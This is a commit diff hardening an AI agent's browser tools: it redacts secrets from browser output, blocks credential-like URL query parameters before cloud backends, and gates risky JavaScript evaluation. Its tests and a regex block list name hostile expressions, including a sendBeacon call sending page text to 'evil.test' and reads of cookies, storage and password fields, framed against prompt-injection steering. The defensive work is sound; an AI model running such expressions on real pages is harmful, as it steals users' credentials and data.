fix(browser): harden browser tool safety boundaries

Add policy gates and output redaction for browser/CDP surfaces, strengthen session ownership tracking, and block credential-like query parameters before third-party browser/web backends receive URLs.

Inspired by the agbrowse review: keep local browser magic-link flows possible while preventing cloud reader/browser escalation from receiving opaque token, code, signature, or key query parameters.
fix/verification-admin-route-recovery
yongjin 2026-06-20 22:20:13 +09:00 committed by Teknium
parent 7eb9716ad7
commit a0beb52a50
10 changed files with 522 additions and 34 deletions

View File

@ -1194,6 +1194,7 @@ DEFAULT_CONFIG = {
"engine": "auto",
"auto_local_for_private_urls": True, # When a cloud provider is set, auto-spawn local Chromium for LAN/localhost URLs instead of sending them to the cloud
"cdp_url": "", # Optional persistent CDP endpoint for attaching to an existing Chromium/Chrome
"allow_unsafe_evaluate": False, # Allow browser_console(expression=...) to use sensitive JS primitives (cookies/storage/clipboard/network/form values)
# CDP supervisor — dialog + frame detection via a persistent WebSocket.
# Active only when a CDP-capable backend is attached (Browserbase or
# local Chrome via /browser connect). See

View File

@ -228,6 +228,21 @@ def test_browser_level_success(cdp_server):
assert "sessionId" not in calls[0]
def test_browser_level_redacts_secret_result(cdp_server):
fake_key = "sk-" + "CDPSECRETRESULT1234567890"
cdp_server.on(
"Runtime.evaluate",
lambda params, sid: {"result": {"type": "string", "value": fake_key}},
)
result = json.loads(browser_cdp_tool.browser_cdp(method="Runtime.evaluate"))
assert result["success"] is True
serialized = json.dumps(result)
assert "CDPSECRETRESULT" not in serialized
assert result["result"]["result"]["value"].startswith("sk-")
def test_empty_params_sends_empty_object(cdp_server):
cdp_server.on("Browser.getVersion", lambda params, sid: {"product": "Mock/1.0"})
json.loads(browser_cdp_tool.browser_cdp(method="Browser.getVersion"))

View File

@ -95,6 +95,118 @@ class TestBrowserConsole:
assert result["total_messages"] == 0
assert result["total_errors"] == 0
def test_redacts_secrets_from_console_messages_and_errors(self):
from tools.browser_tool import browser_console
fake_key = "sk-" + "BROWSERCONSOLESECRET1234567890"
console_response = {
"success": True,
"data": {"messages": [{"text": f"token={fake_key}", "type": "log"}]},
}
errors_response = {
"success": True,
"data": {"errors": [{"message": f"Uncaught auth {fake_key}"}]},
}
with patch("tools.browser_tool._run_browser_command") as mock_cmd:
mock_cmd.side_effect = [console_response, errors_response]
result = json.loads(browser_console(task_id="test"))
serialized = json.dumps(result)
assert "BROWSERCONSOLESECRET" not in serialized
assert "sk-" in result["console_messages"][0]["text"]
assert "..." in result["console_messages"][0]["text"]
def test_redacts_secrets_from_eval_result(self):
from tools.browser_tool import _browser_eval
fake_key = "ghp_" + "BROWSEREVALSECRET1234567890"
with patch("tools.browser_tool._last_session_key", return_value="test"), \
patch("tools.browser_tool._is_camofox_mode", return_value=False), \
patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"result": fake_key}}):
result = json.loads(_browser_eval("document.body.innerText", task_id="test"))
assert result["success"] is True
assert "BROWSEREVALSECRET" not in json.dumps(result)
assert result["result"].startswith("ghp_")
def test_redacts_secrets_from_snapshot_output(self):
from tools.browser_tool import browser_snapshot
fake_key = "xai-" + "BROWSERSNAPSHOTSECRET12345678901234567890"
snapshot_response = {
"success": True,
"data": {"snapshot": f"text: key {fake_key}", "refs": {}},
}
with patch("tools.browser_tool._last_session_key", return_value="test"), \
patch("tools.browser_tool._is_camofox_mode", return_value=False), \
patch("tools.browser_tool._run_browser_command", return_value=snapshot_response):
result = json.loads(browser_snapshot(task_id="test"))
assert result["success"] is True
assert "BROWSERSNAPSHOTSECRET" not in result["snapshot"]
assert "xai-" in result["snapshot"]
def test_expression_allows_harmless_dom_inspection(self):
from tools.browser_tool import browser_console
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "Example"})) as mock_eval:
result = json.loads(browser_console(expression="document.title", task_id="test"))
assert result == {"success": True, "result": "Example"}
mock_eval.assert_called_once_with("document.title", "test")
def test_expression_blocks_cookie_access_before_eval(self):
from tools.browser_tool import browser_console
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
patch("tools.browser_tool._browser_eval") as mock_eval:
result = json.loads(browser_console(expression="document.cookie", task_id="test"))
assert result["success"] is False
assert "Blocked" in result["error"]
assert "document.cookie" in result["error"]
mock_eval.assert_not_called()
def test_expression_blocks_storage_and_network_access_before_eval(self):
from tools.browser_tool import browser_console
risky_expressions = [
"localStorage.getItem('token')",
"sessionStorage.token",
"indexedDB.databases()",
"navigator.clipboard.readText()",
"fetch('/api/me')",
"navigator.sendBeacon('https://evil.test', document.body.innerText)",
"document.querySelector('input[type=password]').value",
]
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
patch("tools.browser_tool._browser_eval") as mock_eval:
for expr in risky_expressions:
result = json.loads(browser_console(expression=expr, task_id="test"))
assert result["success"] is False, expr
assert "Blocked" in result["error"], expr
mock_eval.assert_not_called()
def test_expression_config_opt_in_allows_risky_eval(self):
from tools.browser_tool import browser_console
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "cookie=value"})) as mock_eval:
result = json.loads(browser_console(expression="document.cookie", task_id="test"))
assert result == {"success": True, "result": "cookie=value"}
mock_eval.assert_called_once_with("document.cookie", "test")
def test_allow_unsafe_evaluate_reads_browser_config(self):
from tools.browser_tool import _allow_unsafe_browser_evaluate
with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": "true"}}):
assert _allow_unsafe_browser_evaluate() is True
with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": False}}):
assert _allow_unsafe_browser_evaluate() is False
# ── browser_console schema ───────────────────────────────────────────

View File

@ -129,11 +129,54 @@ class TestSessionKeyHelpers:
"_last_active_session_key",
{"default": "default::local", "task-42": "task-42"},
)
monkeypatch.setattr(
browser_tool,
"_active_sessions",
{"default::local": {"session_name": "local_sess"}},
)
assert browser_tool._last_session_key("default") == "default::local"
assert browser_tool._last_session_key("task-42") == "task-42"
# Unknown task_id still falls back
assert browser_tool._last_session_key("other") == "other"
def test_last_session_key_drops_stale_sidecar_binding(self, monkeypatch):
"""A cleaned last-active sidecar must not be silently resurrected."""
last_active = {"default": "default::local"}
monkeypatch.setattr(browser_tool, "_last_active_session_key", last_active)
monkeypatch.setattr(
browser_tool,
"_active_sessions",
{"default": {"session_name": "cloud_sess"}},
)
assert browser_tool._last_session_key("default") == "default"
assert last_active == {}
def test_last_session_key_keeps_bare_task_binding_without_active_session(self, monkeypatch):
"""Bare task fallback preserves historical lazy-create behavior."""
monkeypatch.setattr(browser_tool, "_last_active_session_key", {"default": "default"})
monkeypatch.setattr(browser_tool, "_active_sessions", {})
assert browser_tool._last_session_key("default") == "default"
def test_last_session_key_drops_mismatched_owner_metadata(self, monkeypatch):
"""Explicit ownership metadata prevents retargeting to another task's session."""
last_active = {"default": "other-task::local"}
monkeypatch.setattr(browser_tool, "_last_active_session_key", last_active)
monkeypatch.setattr(
browser_tool,
"_active_sessions",
{
"other-task::local": {
"session_name": "local_sess",
"session_key": "other-task::local",
"owner_task_id": "other-task",
}
},
)
assert browser_tool._last_session_key("default") == "default"
assert last_active == {}
class TestHybridRoutingSessionCreation:
"""_get_session_info must force a local session when the key carries ``::local``."""
@ -155,6 +198,8 @@ class TestHybridRoutingSessionCreation:
assert session["bb_session_id"] is None
assert session["cdp_url"] is None
assert session["features"]["local"] is True
assert session["session_key"] == "default::local"
assert session["owner_task_id"] == "default"
def test_bare_task_id_with_cloud_provider_uses_cloud(self, monkeypatch):
"""A bare task_id with cloud provider configured hits the cloud path."""
@ -172,6 +217,8 @@ class TestHybridRoutingSessionCreation:
assert provider.create_session.call_count == 1
assert session["bb_session_id"] == "bb_123"
assert session["session_key"] == "default"
assert session["owner_task_id"] == "default"
class TestCleanupHybridSessions:
@ -244,5 +291,6 @@ class TestCleanupHybridSessions:
browser_tool.cleanup_browser("default::local")
assert reaped == ["default::local"]
# Last-active pointer NOT dropped (primary task is still alive)
assert browser_tool._last_active_session_key.get("default") == "default::local"
# The cleaned sidecar must not remain the recorded owner; otherwise a
# later click/snapshot could resurrect it instead of using the primary.
assert "default" not in browser_tool._last_active_session_key

View File

@ -28,6 +28,34 @@ class TestBrowserSecretExfil:
parsed = json.loads(result)
assert parsed["success"] is False
def test_cloud_blocks_opaque_sensitive_query_param(self):
"""Cloud browser providers must not receive opaque token query params."""
from tools.browser_tool import browser_navigate
with patch("tools.browser_tool._is_local_backend", return_value=False), \
patch("tools.browser_tool._navigation_session_key", return_value="default"), \
patch("tools.browser_tool._run_browser_command") as mock_run:
result = browser_navigate("https://example.com/callback?token=opaque-oauth-code")
parsed = json.loads(result)
assert parsed["success"] is False
assert "credential-like query parameter" in parsed["error"]
assert "token" in parsed["error"]
mock_run.assert_not_called()
def test_local_browser_allows_opaque_sensitive_query_param(self):
"""Local browser/CDP sessions may navigate magic-link style URLs."""
from tools.browser_tool import browser_navigate
mock_result = {"success": True, "data": {"title": "ok", "url": "https://example.com/callback?token=opaque-oauth-code"}}
with patch("tools.browser_tool._run_browser_command", return_value=mock_result), \
patch("tools.browser_tool._get_session_info", return_value={"_first_nav": False}), \
patch("tools.browser_tool._is_local_backend", return_value=True):
result = browser_navigate("https://example.com/callback?token=opaque-oauth-code")
parsed = json.loads(result)
assert parsed["success"] is True
def test_allows_normal_url(self):
"""Normal URLs pass the secret check (may fail for other reasons)."""
from tools.browser_tool import browser_navigate
@ -75,6 +103,20 @@ class TestWebExtractSecretExfil:
assert parsed["success"] is False
assert "Blocked" in parsed["error"]
@pytest.mark.asyncio
async def test_blocks_opaque_sensitive_query_param(self):
from tools.web_tools import web_extract_tool
result = await web_extract_tool(
urls=["https://example.com/callback?code=opaque-oauth-code"],
use_llm_processing=False,
)
parsed = json.loads(result)
assert parsed["success"] is False
assert "credential-like query parameter" in parsed["error"]
assert "code" in parsed["error"]
@pytest.mark.asyncio
async def test_allows_normal_url(self):
from tools.web_tools import web_extract_tool
@ -258,3 +300,42 @@ class TestCamofoxAnnotationRedaction:
assert "ANTHROPICFAKEKEY123456789" not in result
assert "OPENAIFAKEKEY99887766" not in result
assert "PATH=/usr/local/bin" in result
class TestBrowserSupervisorRedaction:
"""Verify supervisor dialog snapshots redact page-originated secrets."""
def test_pending_and_recent_dialog_messages_redacted(self):
from tools.browser_supervisor import DialogRecord, PendingDialog, SupervisorSnapshot
fake_key = "sk-" + "SUPERVISORDIALOGSECRET1234567890"
snapshot = SupervisorSnapshot(
pending_dialogs=(PendingDialog(
id="d1",
type="prompt",
message=f"Enter API key {fake_key}",
default_prompt=fake_key,
opened_at=1.0,
cdp_session_id="session-1",
),),
recent_dialogs=(DialogRecord(
id="d2",
type="alert",
message=f"Recent key {fake_key}",
opened_at=1.0,
closed_at=2.0,
closed_by="agent",
),),
frame_tree={"top": {"frame_id": "f1", "url": "about:blank", "origin": "null", "is_oopif": False}},
console_errors=(),
active=True,
cdp_url="ws://example.invalid/devtools/browser/mock",
task_id="test",
)
result = snapshot.to_dict()
serialized = str(result)
assert "SUPERVISORDIALOGSECRET" not in serialized
assert result["pending_dialogs"][0]["message"].startswith("Enter API key sk-")
assert result["pending_dialogs"][0]["default_prompt"].startswith("sk-")
assert result["recent_dialogs"][0]["message"].startswith("Recent key sk-")

View File

@ -28,6 +28,21 @@ logger = logging.getLogger(__name__)
CDP_DOCS_URL = "https://chromedevtools.github.io/devtools-protocol/"
def _redact_cdp_output(value: Any) -> Any:
"""Redact browser-originated CDP result data before returning it."""
from agent.redact import redact_sensitive_text
if isinstance(value, str):
return redact_sensitive_text(value, force=True)
if isinstance(value, list):
return [_redact_cdp_output(item) for item in value]
if isinstance(value, tuple):
return tuple(_redact_cdp_output(item) for item in value)
if isinstance(value, dict):
return {key: _redact_cdp_output(item) for key, item in value.items()}
return value
# ``websockets`` is a direct hermes-agent dependency because the browser CDP
# supervisor and browser_dialog tool import it during tool discovery. Wrap the
# import so a clean error surfaces if an environment is stale or incomplete.
@ -412,7 +427,7 @@ def browser_cdp(
payload: Dict[str, Any] = {
"success": True,
"method": method,
"result": result,
"result": _redact_cdp_output(result),
}
if target_id:
payload["target_id"] = target_id

View File

@ -53,6 +53,13 @@ def _redact_cdp_error_text(exc: object) -> str:
return "<error redacted>"
def _redact_supervisor_text(value: str) -> str:
"""Redact page-originated text before exposing supervisor snapshots."""
from agent.redact import redact_sensitive_text
return redact_sensitive_text(value, force=True)
# ── Config defaults ───────────────────────────────────────────────────────────
DIALOG_POLICY_MUST_RESPOND = "must_respond"
@ -166,8 +173,8 @@ class PendingDialog:
return {
"id": self.id,
"type": self.type,
"message": self.message,
"default_prompt": self.default_prompt,
"message": _redact_supervisor_text(self.message),
"default_prompt": _redact_supervisor_text(self.default_prompt),
"opened_at": self.opened_at,
"frame_id": self.frame_id,
}
@ -194,7 +201,7 @@ class DialogRecord:
return {
"id": self.id,
"type": self.type,
"message": self.message,
"message": _redact_supervisor_text(self.message),
"opened_at": self.opened_at,
"closed_at": self.closed_at,
"closed_by": self.closed_by,

View File

@ -114,11 +114,13 @@ try:
is_safe_url as _is_safe_url,
is_always_blocked_url as _is_always_blocked_url,
normalize_url_for_request as _normalize_url_for_request,
sensitive_query_param_name as _sensitive_query_param_name,
)
except Exception:
_is_safe_url = lambda url: False # noqa: E731 — fail-closed: block all if safety module unavailable
_is_always_blocked_url = lambda url: True # noqa: E731 — fail-closed on the floor too
_normalize_url_for_request = lambda url: url # noqa: E731 — best-effort fallback
_sensitive_query_param_name = lambda url: None # noqa: E731 — best-effort fallback
# Browser-provider ABC + registry — PR #25214 moved the per-vendor providers
# (Browserbase / Browser Use / Firecrawl) out of ``tools/browser_providers/``
# and into ``plugins/browser/<vendor>/``. The dispatcher consults the
@ -1272,17 +1274,56 @@ def _is_local_sidecar_key(session_key: str) -> bool:
return session_key.endswith(_LOCAL_SUFFIX)
def _last_session_key(task_id: str) -> str:
"""Return the session key to use for a non-nav browser tool call.
def _bare_task_id_for_session_key(session_key: str) -> str:
"""Return the owning bare task id for an opaque browser session key."""
if _is_local_sidecar_key(session_key):
return session_key[: -len(_LOCAL_SUFFIX)]
return session_key
If a previous ``browser_navigate`` on this task_id set a last-active key,
use it so snapshot/click/fill/etc. hit the same session. Otherwise fall
back to the bare task_id (matches original behavior for tasks that never
triggered hybrid routing).
def _session_info_owned_by_task(session_info: Dict[str, Any], task_id: str, session_key: str) -> bool:
"""Return whether ``session_info`` still belongs to ``task_id``/``session_key``.
Sessions created by current code carry explicit ownership metadata. Treat
older in-memory entries without those fields as valid for hot-reload/test
compatibility, but reject any explicit mismatch before a non-navigation
tool can act on the wrong tab/session.
"""
owner = session_info.get("owner_task_id")
key = session_info.get("session_key")
if owner is not None and owner != task_id:
return False
if key is not None and key != session_key:
return False
return True
def _last_session_key(task_id: str) -> str:
"""Return the live session key to use for a non-nav browser tool call.
``browser_navigate`` records which concrete session key served a task's
most recent successful navigation. Non-navigation tools must reuse that key
so click/fill/snapshot land in the same browser. If the recorded owner was
later cleaned up or ownership metadata no longer matches, fail closed by
dropping the stale binding instead of silently recreating or mutating the
wrong browser.
"""
if task_id is None:
task_id = "default"
return _last_active_session_key.get(task_id, task_id)
recorded_key = _last_active_session_key.get(task_id)
if not recorded_key:
return task_id
with _cleanup_lock:
session_info = _active_sessions.get(recorded_key)
if session_info and _session_info_owned_by_task(session_info, task_id, recorded_key):
return recorded_key
_last_active_session_key.pop(task_id, None)
logger.debug(
"browser session ownership: dropping stale/mismatched last-active binding %s -> %s",
task_id,
recorded_key,
)
return task_id
def _allow_private_urls() -> bool:
@ -1336,7 +1377,7 @@ def _socket_safe_tmpdir() -> str:
# cleanup_browser code paths — the key is opaque to those internals.
#
# Stores: session_name (always), bb_session_id + cdp_url (cloud mode only)
_active_sessions: Dict[str, Dict[str, str]] = {} # session_key -> {session_name, ...}
_active_sessions: Dict[str, Dict[str, Any]] = {} # session_key -> {session_name, ...}
_recording_sessions: set = set() # session_keys with active recordings
# Tracks the most recent session_key used per task_id. Set by browser_navigate()
@ -1942,7 +1983,7 @@ def _create_cdp_session(task_id: str, cdp_url: str) -> Dict[str, str]:
}
def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]:
def _get_session_info(task_id: Optional[str] = None) -> Dict[str, Any]:
"""
Get or create session info for the given session key.
@ -2029,6 +2070,9 @@ def _get_session_info(task_id: Optional[str] = None) -> Dict[str, str]:
# orphan cloud sessions.
if task_id in _active_sessions:
return _active_sessions[task_id]
session_info = dict(session_info)
session_info.setdefault("session_key", task_id)
session_info.setdefault("owner_task_id", _bare_task_id_for_session_key(task_id))
_active_sessions[task_id] = session_info
# Lazy-start the CDP supervisor now that the session exists (if the
@ -2608,6 +2652,27 @@ def _truncate_snapshot(snapshot_text: str, max_chars: int = 8000) -> str:
return '\n'.join(result)
def _redact_browser_output(value: Any) -> Any:
"""Redact secrets from browser-originated data before returning to the model.
Browser snapshots, console messages, JS exceptions, and eval results can
contain page-rendered API keys, cookies, bearer tokens, or pasted secrets.
Tool output is a model boundary, so force redaction here even if global log
redaction is disabled for debugging.
"""
from agent.redact import redact_sensitive_text
if isinstance(value, str):
return redact_sensitive_text(value, force=True)
if isinstance(value, list):
return [_redact_browser_output(item) for item in value]
if isinstance(value, tuple):
return tuple(_redact_browser_output(item) for item in value)
if isinstance(value, dict):
return {key: _redact_browser_output(item) for key, item in value.items()}
return value
# ============================================================================
# Browser Tool Functions
# ============================================================================
@ -2657,6 +2722,18 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
nav_session_key = _navigation_session_key(effective_task_id, url)
auto_local_this_nav = _is_local_sidecar_key(nav_session_key)
sensitive_query_key = _sensitive_query_param_name(url)
if sensitive_query_key and not _is_local_backend() and not auto_local_this_nav:
return json.dumps({
"success": False,
"error": (
"Blocked: URL contains a credential-like query parameter "
f"({sensitive_query_key}). Cloud browser backends are third-party "
"readers; use a local browser/CDP session or remove the sensitive "
"query parameter before navigating."
),
})
# Always-blocked floor: cloud metadata / IMDS endpoints are denied
# regardless of backend, hybrid routing, or allow_private_urls.
# There's no legitimate agent use case for navigating to
@ -2720,11 +2797,6 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
timeout=_get_open_command_timeout(first_open=is_first_nav),
)
# Remember which session served this nav so snapshot/click/fill/...
# on the same task_id hit it (critical when hybrid routing has both a
# cloud session and a local sidecar alive concurrently).
_last_active_session_key[effective_task_id] = nav_session_key
if result.get("success"):
data = result.get("data", {})
title = data.get("title", "")
@ -2769,6 +2841,10 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
"url": final_url,
"title": title
}
# Remember only a successful, non-blocked navigation as the task owner.
# Failed opens and blocked redirects must not retarget follow-up clicks
# or snapshots to a newly-created but irrelevant session.
_last_active_session_key[effective_task_id] = nav_session_key
_copy_fallback_warning(response, result)
# Detect common "blocked" page patterns from title/url
@ -2810,7 +2886,7 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
refs = snap_data.get("refs", {})
if len(snapshot_text) > SNAPSHOT_SUMMARIZE_THRESHOLD:
snapshot_text = _truncate_snapshot(snapshot_text)
response["snapshot"] = snapshot_text
response["snapshot"] = _redact_browser_output(snapshot_text)
response["element_count"] = len(refs) if refs else 0
if snap_result.get("fallback_warning") and not response.get("fallback_warning"):
_copy_fallback_warning(response, snap_result)
@ -2898,7 +2974,7 @@ def browser_snapshot(
response = {
"success": True,
"snapshot": snapshot_text,
"snapshot": _redact_browser_output(snapshot_text),
"element_count": len(refs) if refs else 0
}
_copy_fallback_warning(response, result)
@ -2912,7 +2988,7 @@ def browser_snapshot(
if _supervisor is not None:
_sv_snap = _supervisor.snapshot()
if _sv_snap.active:
response.update(_sv_snap.to_dict())
response.update(_redact_browser_output(_sv_snap.to_dict()))
except Exception as _sv_exc:
logger.debug("supervisor snapshot merge failed: %s", _sv_exc)
@ -3173,6 +3249,9 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_
"""
# --- JS evaluation mode ---
if expression is not None:
policy_error = _enforce_browser_eval_policy(expression)
if policy_error:
return json.dumps({"success": False, "error": policy_error}, ensure_ascii=False)
return _browser_eval(expression, task_id)
# --- Console output mode (original behaviour) ---
@ -3193,7 +3272,7 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_
for msg in console_result.get("data", {}).get("messages", []):
messages.append({
"type": msg.get("type", "log"),
"text": msg.get("text", ""),
"text": _redact_browser_output(msg.get("text", "")),
"source": "console",
})
@ -3201,7 +3280,7 @@ def browser_console(clear: bool = False, expression: Optional[str] = None, task_
if errors_result.get("success"):
for err in errors_result.get("data", {}).get("errors", []):
errors.append({
"message": err.get("message", ""),
"message": _redact_browser_output(err.get("message", "")),
"source": "exception",
})
@ -3286,6 +3365,64 @@ def _current_page_private_url(effective_task_id: str) -> Optional[str]:
return None
_RISKY_BROWSER_EVAL_PATTERNS: tuple[tuple[re.Pattern[str], str], ...] = (
(re.compile(r"\bdocument\s*\.\s*cookie\b", re.I), "document.cookie"),
(re.compile(r"\b(?:localStorage|sessionStorage)\b", re.I), "web storage"),
(re.compile(r"\bindexedDB\b", re.I), "IndexedDB"),
(re.compile(r"\bcaches\s*\.\s*(?:open|match|keys)\b", re.I), "Cache Storage"),
(re.compile(r"\bnavigator\s*\.\s*(?:clipboard|credentials|serviceWorker)\b", re.I), "navigator sensitive API"),
(re.compile(r"\b(?:fetch|XMLHttpRequest|WebSocket|EventSource)\s*\(", re.I), "network request"),
(re.compile(r"\bnavigator\s*\.\s*sendBeacon\s*\(", re.I), "network beacon"),
(re.compile(r"\bdocument\s*\.\s*forms\b.*\bvalue\b", re.I | re.S), "form value extraction"),
(re.compile(r"\bquerySelector(?:All)?\s*\([^)]*(?:input|textarea|password)[^)]*\).*\bvalue\b", re.I | re.S), "form value extraction"),
)
def _allow_unsafe_browser_evaluate() -> bool:
"""Return whether sensitive browser JS evaluation is explicitly allowed.
``browser_console(expression=...)`` is useful for read-only DOM inspection,
but a malicious page or prompt injection can try to steer the agent into
evaluating code that reads cookies/storage/form values or performs network
exfiltration. Keep harmless expressions (``document.title`` etc.) working,
while requiring a config opt-in for the dangerous primitives.
"""
try:
from hermes_cli.config import read_raw_config
cfg = read_raw_config()
return is_truthy_value(cfg_get(cfg, "browser", "allow_unsafe_evaluate"), default=False)
except Exception as e:
logger.debug("Could not read browser.allow_unsafe_evaluate from config: %s", e)
return False
def _risky_browser_eval_reason(expression: str) -> Optional[str]:
"""Return a human-readable reason if a JS expression uses risky primitives."""
if not expression:
return None
for pattern, reason in _RISKY_BROWSER_EVAL_PATTERNS:
if pattern.search(expression):
return reason
return None
def _enforce_browser_eval_policy(expression: str) -> Optional[str]:
"""Fail closed for sensitive browser JS evaluation unless config opts in."""
if _allow_unsafe_browser_evaluate():
return None
reason = _risky_browser_eval_reason(expression)
if not reason:
return None
return (
"Blocked: browser_console(expression=...) tried to use sensitive browser "
f"JavaScript primitive ({reason}). Use browser_snapshot/browser_get_images/"
"browser_console without expression for normal inspection, or set "
"browser.allow_unsafe_evaluate: true in config.yaml only for trusted pages "
"when this access is explicitly required."
)
def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
"""Evaluate a JavaScript expression in the page context and return the result."""
if _is_camofox_mode():
@ -3351,7 +3488,7 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
}, ensure_ascii=False)
response = {
"success": True,
"result": parsed,
"result": _redact_browser_output(parsed),
"result_type": type(parsed).__name__,
"method": "cdp_supervisor",
}
@ -3421,7 +3558,7 @@ def _browser_eval(expression: str, task_id: Optional[str] = None) -> str:
response = {
"success": True,
"result": parsed,
"result": _redact_browser_output(parsed),
"result_type": type(parsed).__name__,
}
# Post-eval page-URL recheck: if this (or a prior) eval navigated the page
@ -3459,7 +3596,7 @@ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:
return json.dumps({
"success": True,
"result": parsed,
"result": _redact_browser_output(parsed),
"result_type": type(parsed).__name__,
}, ensure_ascii=False, default=str)
except Exception as e:
@ -3577,7 +3714,7 @@ def browser_get_images(task_id: Optional[str] = None) -> str:
response = {
"success": True,
"images": images,
"images": _redact_browser_output(images),
"count": len(images)
}
return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False)
@ -3983,9 +4120,14 @@ def cleanup_browser(task_id: Optional[str] = None) -> None:
for session_key in session_keys:
_cleanup_single_browser_session(session_key)
# Drop the last-active pointer only when the bare task is being cleaned
# (i.e. not when we're only reaping a sidecar mid-task).
if not _is_local_sidecar_key(task_id):
# Drop stale last-active ownership. Cleaning a bare task drops its binding;
# cleaning a sidecar drops the binding only if that sidecar was still the
# recorded owner. This prevents a later click/snapshot from resurrecting a
# cleaned sidecar on about:blank while preserving a primary-session binding.
if _is_local_sidecar_key(task_id):
if _last_active_session_key.get(bare_task_id) == task_id:
_last_active_session_key.pop(bare_task_id, None)
else:
_last_active_session_key.pop(bare_task_id, None)

View File

@ -29,7 +29,7 @@ import os
import socket
import asyncio
from typing import Any, Optional
from urllib.parse import quote, urljoin, urlparse, urlsplit, urlunsplit
from urllib.parse import parse_qsl, quote, unquote, urljoin, urlparse, urlsplit, urlunsplit
from utils import is_truthy_value
@ -76,6 +76,62 @@ def normalize_url_for_request(url: str) -> str:
return urlunsplit((parsed.scheme, netloc, path, query, fragment))
_SENSITIVE_QUERY_PARAM_NAMES = frozenset({
"access_token",
"api_key",
"apikey",
"auth",
"auth_token",
"authorization",
"awsaccesskeyid",
"client_secret",
"code",
"credential",
"credentials",
"key",
"jwt",
"password",
"passwd",
"secret",
"session",
"session_id",
"sig",
"signature",
"token",
"x_amz_security_token",
"x_amz_signature",
"x-amz-security-token",
"x-amz-signature",
})
def sensitive_query_param_name(url: str) -> Optional[str]:
"""Return the first sensitive query parameter name in ``url``, if any.
Used before handing URLs to third-party fetch/browser backends. Prefix-based
token redaction catches known credential shapes; this catches opaque magic
links, OAuth codes, signed URL signatures, and custom ``?token=...`` values
that do not have a recognizable vendor prefix.
"""
if not isinstance(url, str) or "?" not in url:
return None
try:
parsed = urlsplit(url.strip())
except ValueError:
return None
if parsed.scheme.lower() not in {"http", "https"} or not parsed.query:
return None
for key, value in parse_qsl(parsed.query, keep_blank_values=True):
if value and unquote(key).lower() in _SENSITIVE_QUERY_PARAM_NAMES:
return key
return None
def has_sensitive_query_params(url: str) -> bool:
"""Return True when ``url`` carries likely credential-bearing query params."""
return sensitive_query_param_name(url) is not None
# Hostnames that should always be blocked regardless of IP resolution
# or any config toggle. These are cloud metadata endpoints that an
# attacker could use to steal instance credentials.

View File

@ -97,7 +97,7 @@ from tools.tool_backend_helpers import ( # noqa: F401
nous_tool_gateway_unavailable_message,
prefers_gateway,
)
from tools.url_safety import async_is_safe_url, normalize_url_for_request
from tools.url_safety import async_is_safe_url, normalize_url_for_request, sensitive_query_param_name
import sys
logger = logging.getLogger(__name__)
@ -659,6 +659,17 @@ async def web_extract_tool(
"error": "Blocked: URL contains what appears to be an API key or token. "
"Secrets must not be sent in URLs.",
})
sensitive_query_key = sensitive_query_param_name(normalized_url)
if sensitive_query_key:
return json.dumps({
"success": False,
"error": (
"Blocked: URL contains a credential-like query parameter "
f"({sensitive_query_key}). Web extract backends are third-party "
"readers; remove the sensitive query parameter or use a local "
"browser session when this access is explicitly required."
),
})
normalized_urls.append(normalized_url)
debug_call_data = {